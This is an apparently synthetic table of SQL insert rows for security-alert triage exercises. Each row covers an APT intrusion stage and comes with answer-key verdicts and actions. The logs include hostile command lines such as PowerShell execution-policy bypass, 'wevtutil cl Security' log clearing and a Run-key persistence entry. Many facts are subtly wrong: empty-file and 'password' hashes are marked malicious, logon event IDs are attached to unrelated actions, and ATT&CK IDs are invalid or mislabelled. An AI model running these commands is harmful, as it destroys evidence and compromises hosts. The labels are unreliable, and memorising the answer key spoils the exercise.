(385, 'Malicious PowerShell Script Execution', 'high', 'Endpoint Detection and Response (EDR)', 'APT3 executed a PowerShell script on a compromised system to deploy additional payloads, aiming to maintain a stealthy presence and further infiltrate the network.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"4624\",\"computer_name\":\"compromised-host-01\",\"user\":\"jdoe\",\"source_ip\":\"203.0.113.24\",\"internal_ip\":\"10.0.1.15\",\"script_name\":\"Invoke-MaliciousScript.ps1\",\"script_hash\":\"3e2f5d9b7a6f4c5e8a8e7b2f6d1a9c3e\",\"process_id\":\"4567\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\Invoke-MaliciousScript.ps1\",\"parent_process\":\"explorer.exe\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Invoke-MaliciousScript.ps1\"}', '2026-01-04 02:06:57', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.24\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT3\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised internal host\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Invoke-MaliciousScript.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR\",\"verdict\":\"malicious\",\"details\":\"PowerShell script used by APT3\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3e2f5d9b7a6f4c5e8a8e7b2f6d1a9c3e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known APT3 payload\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(386, 'Establishing Persistence via Registry Modification', 'high', 'Windows Registry Logs', 'To ensure continued access to the infected system, APT3 modifies registry settings. This registry modification allows their malware to persist even after system reboots.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:24:17Z\",\"event_id\":4657,\"event_type\":\"Registry Modification\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.102\",\"user\":\"SYSTEM\",\"registry_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"modified_value_name\":\"APT3PersistentService\",\"modified_value_data\":\"C:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\Temp\\\\malicious.dll,EntryPoint\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious.dll\"}', '2026-01-04 02:06:57', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT3 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known APT3 malware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security Vendor\",\"verdict\":\"malicious\",\"details\":\"DLL identified as APT3 persistence mechanism.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(387, 'Lateral Movement through Credential Dumping', 'high', 'Network Traffic Analysis', 'APT3 has initiated lateral movement within the network by utilizing credential dumping techniques. The attacker has successfully accessed additional systems using stolen credentials, aiming to expand their reach within the network.', 'Lateral Movement', 'T1003 - Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:32Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.45\",\"event_type\":\"credential_dumping\",\"username\":\"jdoe\",\"dumped_file\":\"NTDS.dit\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"lateral_movement_attempt\",\"protocol\":\"SMB\",\"network_segment\":\"internal\",\"alert_id\":\"alert_10234\"}', '2026-01-04 02:06:57', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalAssetDB\",\"verdict\":\"internal\",\"details\":\"Internal network address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"UserBehaviorAnalytics\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential dumping malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(388, 'Data Exfiltration via Encrypted Channels', 'high', 'Data Loss Prevention (DLP) Systems', 'In the final stage, APT3 attempts to exfiltrate sensitive data using encrypted channels, aiming to evade detection mechanisms. The operation was detected when unusual encrypted traffic was observed between internal host 192.168.1.45 and an external IP address 203.0.113.5. The malicious file \'encrypted_payload.zip\' with hash \'d41d8cd98f00b204e9800998ecf8427e\' was involved in the exfiltration attempt.', 'Exfiltration', 'T1048.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:00Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"protocol\":\"HTTPS\",\"file_name\":\"encrypted_payload.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"action\":\"exfiltration_attempt\",\"status\":\"blocked\"}', '2026-01-04 02:06:57', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host participating in exfiltration attempt.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"encrypted_payload.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"DLP Database\",\"verdict\":\"suspicious\",\"details\":\"File involved in suspected data exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by APT3.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(389, 'Initial Access via Compromised MSP Credentials', 'high', 'Authentication Logs', 'APT10 exploits stolen credentials from a managed service provider to infiltrate the aerospace company\'s network, setting the stage for a prolonged espionage campaign. Anomalous login detected from an external IP address using compromised MSP credentials.', 'Credential Theft', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:45:00Z\",\"event_type\":\"authentication_attempt\",\"username\":\"msp_admin@aerospacecompany.com\",\"auth_status\":\"success\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"method\":\"password\",\"event_id\":\"auth-789654\",\"mfa_status\":\"not_required\"}', '2026-01-04 02:14:19', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"msp_admin@aerospacecompany.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised managed service provider credentials.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known threat actor activities.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal aerospace company network IP.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(390, 'Execution Using DLL Side-Loading', 'high', 'Application Logs', 'The threat actors employ DLL side-loading to execute their malicious code under the guise of trusted applications, evading traditional detection mechanisms.', 'Execution', 'T1073.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"4624\",\"application\":\"legitapp.exe\",\"loaded_dll\":\"msvcr110.dll\",\"original_dll_path\":\"C:\\\\Program Files\\\\LegitApp\\\\msvcr110.dll\",\"malicious_dll_path\":\"C:\\\\Temp\\\\msvcr110.dll\",\"executing_user\":\"jdoe\",\"source_ip\":\"192.168.1.45\",\"attacker_ip\":\"203.0.113.45\",\"hash_malicious_dll\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"malware_name\":\"APT10_SideLoad\"}', '2026-01-04 02:14:19', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"msvcr110.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as a malicious DLL used in side-loading attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT10_SideLoad malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known command and control server for APT10 operations.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account on the network.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(391, 'Establishing Persistence with Backdoor Implant', 'high', 'System Registry Changes', 'APT10 has been detected establishing long-term persistence by deploying a backdoor implant within the aerospace company\'s network. The attack involved registry modifications pointing to a malicious service executable.', 'Persistence', 'T1050: New Service', 1, 'new', NULL, '{\"time\":\"2023-09-15T14:23:45Z\",\"event_id\":7045,\"source_ip\":\"203.0.113.5\",\"internal_ip\":\"192.168.1.20\",\"user\":\"jdoe\",\"registry_key\":\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\MaliciousService\",\"service_name\":\"MaliciousService\",\"image_path\":\"C:\\\\Windows\\\\System32\\\\malicious.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"Service Installed\",\"description\":\"A new service was installed on the machine to maintain persistence.\"}', '2026-01-04 02:14:19', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT10 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Sandbox\",\"verdict\":\"malicious\",\"details\":\"Executable file used by APT10 for persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known APT10 malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used during the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(392, 'Lateral Movement to Access Design Servers', 'high', 'Network Traffic Analysis', 'During the investigation of unusual network patterns, it was identified that a malicious entity performed lateral movement within the corporate network to access critical design servers. The attackers employed techniques consistent with the APT10 group\'s TTPs, leveraging compromised credentials to gain unauthorized access to servers containing sensitive CAD files. This alert represents step 4 of the operation where the attackers successfully reached the target servers.', 'Lateral Movement', 'T1080: Taint Shared Content', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:18Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"10.0.0.45\",\"attacker_ip\":\"203.0.113.45\",\"user\":\"j.doe@company.com\",\"accessed_file\":\"designServerAccess.log\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"lateral_move\",\"result\":\"success\",\"protocol\":\"SMB\",\"malware\":\"CloudHopper\",\"description\":\"Lateral movement detected towards design server using stolen credentials.\",\"os\":\"Windows Server 2019\"}', '2026-01-04 02:14:19', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target design server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with APT10.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with CloudHopper malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"designServerAccess.log\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"clean\",\"details\":\"Log file accessed during lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"j.doe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Compromised user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NULL', 1, 0, NULL),
(393, 'Data Collection from CAD Repositories', 'high', 'File Access Logs', 'APT10 is actively collecting large CAD files from compromised servers within the aerospace sector. This operation stage focuses on aggregating these files for planned exfiltration.', 'Collection', 'T1119 - Automated Collection', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:47Z\",\"event_id\":\"file_access_8765\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"user\":\"j.doe\",\"access_type\":\"read\",\"file_name\":\"aerospace_project_design.cad\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_size\":\"15MB\",\"protocol\":\"SMB\",\"action\":\"access_granted\"}', '2026-01-04 02:14:19', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT10 IP involved in previous aerospace sector attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"aerospace_project_design.cad\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Sensitive CAD file targeted by APT10.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Hash Database\",\"verdict\":\"clean\",\"details\":\"Common placeholder hash, needs further investigation for exact matches.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(394, 'Exfiltration of CAD Files via Encrypted Channels', 'high', 'Outbound Network Traffic', 'APT10 is utilizing encrypted channels to exfiltrate CAD files from the network. The operation involves transferring data to a known malicious external IP using SSL/TLS encryption, making detection challenging.', 'Exfiltration', 'T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 ', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"exfil-20231012-001\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"TLS\",\"encrypted_data_size\":\"15MB\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"filename\":\"designs_v3_aggregated.zip\",\"user\":\"jdoe\",\"process_name\":\"explorer.exe\",\"indicator_of_compromise\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\"},{\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\"},{\"type\":\"filename\",\"value\":\"designs_v3_aggregated.zip\"}],\"alert_description\":\"Observed encrypted data transfer to a known malicious IP associated with APT10.\"}', '2026-01-04 02:14:19', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT10 infrastructure component.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"designs_v3_aggregated.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"File name pattern matches previous exfiltration attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(395, 'Clean-up and Cover Tracks', 'high', 'System Event Logs', 'The attackers attempted to erase logs and artifacts to obscure their presence and activities within the network. This is a typical step in their operation to remove traces of intrusion.', 'Defensive Evasion', 'T1070', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"event_id\":4625,\"event_type\":\"Security\",\"action\":\"Log Deletion\",\"username\":\"admin_user\",\"host_ip\":\"10.0.0.15\",\"source_ip\":\"203.0.113.45\",\"log_file\":\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"process\":\"wevtutil.exe\",\"command_line\":\"wevtutil cl Security\"}', '2026-01-04 02:14:19', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT10 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potential malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(396, 'Suspicious Network Activity Detected', 'high', 'Network Intrusion Detection System (NIDS)', 'Initial access attempt identified through a phishing email containing a malicious link, typically used by the Whitefly group. The email was sent to an internal user and contained a link leading to the download of a malicious payload.', 'Initial Access', 'T1566.001 - Spearphishing Link', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"protocol\":\"HTTP\",\"url\":\"http://malicious-example.com/download\",\"email_sender\":\"hacker@example.com\",\"email_recipient\":\"user@internal.com\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"file_hash\":\"2b8e5d8f7e9c4f8a9b6e5d9f7c6b8e5d\",\"filename\":\"invoice.pdf\",\"alert\":\"Phishing Link Detected\",\"ids_reference\":\"NIDS-2345\"}', '2026-01-04 02:15:53', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by phishing email.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-example.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware URL Database\",\"verdict\":\"malicious\",\"details\":\"URL hosting a known malicious payload.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"hacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address associated with phishing activities.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"2b8e5d8f7e9c4f8a9b6e5d9f7c6b8e5d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash identified as a malicious payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(397, 'Execution of Malicious Script', 'high', 'Endpoint Detection and Response (EDR)', 'An advanced malicious script execution was detected on the endpoint, aiming to establish a foothold by deploying the Vcrodat malware. The script was initially downloaded via a phishing link.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:08Z\",\"event_type\":\"execution\",\"host\":{\"hostname\":\"compromised-endpoint\",\"ip\":\"192.168.1.105\"},\"user\":\"jdoe\",\"process\":{\"name\":\"powershell.exe\",\"pid\":4567,\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\"},\"file\":{\"path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\",\"hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\"},\"network\":{\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":80},\"malware\":{\"name\":\"Vcrodat\",\"signature_version\":\"1.2.3\",\"hash\":\"6a2da3a46e0f4e8b8a7d4b2a2c8e7a5f\"}}', '2026-01-04 02:15:53', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in previous malware incidents.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"6a2da3a46e0f4e8b8a7d4b2a2c8e7a5f\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches the Vcrodat malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename typically used in phishing attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Employee account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
